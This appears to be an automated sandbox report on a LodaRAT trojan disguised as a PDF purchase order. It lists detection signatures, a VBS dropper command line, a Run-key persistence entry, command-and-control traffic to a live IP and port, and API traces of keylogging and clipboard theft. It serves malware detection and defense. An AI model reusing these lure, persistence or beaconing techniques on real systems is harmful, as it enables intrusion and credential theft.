Edit tour

Windows Analysis Report
Purchase Order Supplies.Pdf.exe

Overview

General Information

Sample name:	Purchase Order Supplies.Pdf.exe
Analysis ID:	1541228
MD5:	a842353a8fd25a6b05d0d3ce6afe8aad
SHA1:	453b9aceb8565d9f838e5bbcd8f694d97741ada9
SHA256:	9169a54c077380847a9d8d532fd0e5558d60f881ff6dcc029b2e04c9f9fb8104
Infos:

Detection

LodaRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Sigma detected: Suspicious Double Extension File Execution

Suricata IDS alerts for network traffic

Yara detected LodaRAT

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Uses an obfuscated file name to hide its real file extension (double extension)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected ProcessChecker

Classification

Process Tree

System is w10x64_ra

Purchase Order Supplies.Pdf.exe (PID: 7036 cmdline: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe" MD5: A842353A8FD25A6B05D0D3CE6AFE8AAD)

wscript.exe (PID: 6900 cmdline: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs MD5: FF00E0480075B095948000BDC66E81F0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loda, LodaRAT	Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as Trojan.Nymeria, although the connection is not well-documented.	No Attribution	https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html https://blog.talosintelligence.com/attributing-yorotrooper/ https://blog.talosintelligence.com/get-a-loda-this/	https://malpedia.caad.fkie.fraunhofer.de/details/win.loda

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\KKRBIX.vbs	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2476240013.0000000003460000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000003.00000002.2471256103.00000000030F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000003.00000002.2471256103.00000000030D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000001.00000002.2485820292.0000000004D11000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
Process Memory Space: Purchase Order Supplies.Pdf.exe PID: 7036	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
Process Memory Space: Purchase Order Supplies.Pdf.exe PID: 7036	JoeSecurity_LodaRAT	Yara detected LodaRAT	Joe Security
Process Memory Space: Purchase Order Supplies.Pdf.exe PID: 7036	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: wscript.exe PID: 6900	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe", CommandLine: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe", CommandLine|base64offset|contains: :^, Image: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, NewProcessName: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, OriginalFileName: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe", ProcessId: 7036, ProcessName: Purchase Order Supplies.Pdf.exe

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 172.111.138.100, DestinationIsIpv6: false, DestinationPort: 5552, EventID: 3, Image: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, Initiated: true, ProcessId: 7036, Protocol: tcp, SourceIp: 192.168.2.16, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe", ParentImage: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, ParentProcessId: 7036, ParentProcessName: Purchase Order Supplies.Pdf.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, ProcessId: 6900, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe", ParentImage: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, ParentProcessId: 7036, ParentProcessName: Purchase Order Supplies.Pdf.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, ProcessId: 6900, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe", ParentImage: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, ParentProcessId: 7036, ParentProcessName: Purchase Order Supplies.Pdf.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, ProcessId: 6900, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\Windata\Google Update.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, ProcessId: 7036, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KKRBIX

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe", ParentImage: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, ParentProcessId: 7036, ParentProcessName: Purchase Order Supplies.Pdf.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, ProcessId: 6900, ProcessName: wscript.exe

Suricata Signatures

ETPRO MALWARE Loda Logger CnC Beacon

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:38:30.424583+0200	2822116	1	Malware Command and Control Activity Detected	192.168.2.16	49708	172.111.138.100	5552	TCP
2024-10-24T15:39:34.363167+0200	2822116	1	Malware Command and Control Activity Detected	192.168.2.16	49716	172.111.138.100	5552	TCP

ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:38:16.421517+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49714	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49716	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49708	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49715	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49711	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49713	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49710	172.111.138.100	5552	TCP
2024-10-24T15:38:30.424583+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49708	172.111.138.100	5552	TCP
2024-10-24T15:38:39.694626+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49709	172.111.138.100	5552	TCP
2024-10-24T15:38:40.772870+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49709	172.111.138.100	5552	TCP
2024-10-24T15:38:48.781841+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49710	172.111.138.100	5552	TCP
2024-10-24T15:38:57.814205+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49711	172.111.138.100	5552	TCP
2024-10-24T15:39:06.899902+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49713	172.111.138.100	5552	TCP
2024-10-24T15:39:16.326030+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49714	172.111.138.100	5552	TCP
2024-10-24T15:39:25.332704+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49715	172.111.138.100	5552	TCP
2024-10-24T15:39:34.363167+0200	2849885	1	Malware Command and Control Activity Detected	192.168.2.16	49716	172.111.138.100	5552	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\KKRBIX.vbs

Avira: detection malicious, Label: VBS/Runner.VPJI

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.1% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Windata\Google Update.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Purchase Order Supplies.Pdf.exe

Joe Sandbox ML: detected

Source: Purchase Order Supplies.Pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CADD92 GetFileAttributesW,FindFirstFileW,FindClose,	1_2_00CADD92
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE2044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00CE2044
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00CE219F
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE24A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_00CE24A9
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CD6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	1_2_00CD6B3F
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CD6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	1_2_00CD6E4A
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CDF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_00CDF350
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CDFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	1_2_00CDFDD2
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CDFD47 FindFirstFileW,FindClose,	1_2_00CDFD47

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2822116 - Severity 1 - ETPRO MALWARE Loda Logger CnC Beacon : 192.168.2.16:49708 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49711 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49708 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49715 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2822116 - Severity 1 - ETPRO MALWARE Loda Logger CnC Beacon : 192.168.2.16:49716 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49710 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49716 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49714 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49709 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.16:49713 -> 172.111.138.100:5552

Source: Joe Sandbox View

ASN Name: VOXILITYGB VOXILITYGB

Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CE550C InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

1_2_00CE550C

Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2485288040.0000000004CA6000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: http://ip-score.com/checkip/:

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CE7099 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

1_2_00CE7099

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CE7294 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

1_2_00CE7294

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

1_2_00CE7099

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CD4342 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

1_2_00CD4342

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CFF5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

1_2_00CFF5D0

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: Purchase Order Supplies.Pdf.exe
Source: initial sample	Static PE information: Filename: Purchase Order Supplies.Pdf.exe

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C929C2 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	1_2_00C929C2
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00D002AA NtdllDialogWndProc_W,	1_2_00D002AA
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFE769 NtdllDialogWndProc_W,CallWindowProcW,	1_2_00CFE769
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFEAA6 ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	1_2_00CFEAA6
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFEA4E NtdllDialogWndProc_W,	1_2_00CFEA4E
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CAAC99 NtdllDialogWndProc_W,	1_2_00CAAC99
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFECBC PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	1_2_00CFECBC
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CAAD5C NtdllDialogWndProc_W,7479C8D0,NtdllDialogWndProc_W,	1_2_00CAAD5C
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFEFA8 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	1_2_00CFEFA8
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CAAFB4 GetParent,NtdllDialogWndProc_W,	1_2_00CAAFB4
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF0A1 SendMessageW,NtdllDialogWndProc_W,	1_2_00CFF0A1
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF122 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	1_2_00CFF122
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF3DA NtdllDialogWndProc_W,	1_2_00CFF3DA
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF3AB NtdllDialogWndProc_W,	1_2_00CFF3AB
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF37C NtdllDialogWndProc_W,	1_2_00CFF37C
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF45A ClientToScreen,NtdllDialogWndProc_W,	1_2_00CFF45A
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF425 NtdllDialogWndProc_W,	1_2_00CFF425
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	1_2_00CFF5D0
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF594 GetWindowLongW,NtdllDialogWndProc_W,	1_2_00CFF594
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CAB7F2 NtdllDialogWndProc_W,	1_2_00CAB7F2
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CAB845 NtdllDialogWndProc_W,	1_2_00CAB845
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFFE80 NtdllDialogWndProc_W,	1_2_00CFFE80
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFFF91 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,	1_2_00CFFF91
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFFF04 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	1_2_00CFFF04

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CD70AE: CreateFileW,DeviceIoControl,CloseHandle,

1_2_00CD70AE

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CCB9F1 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,74DE5590,CreateProcessAsUserW,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,

1_2_00CCB9F1

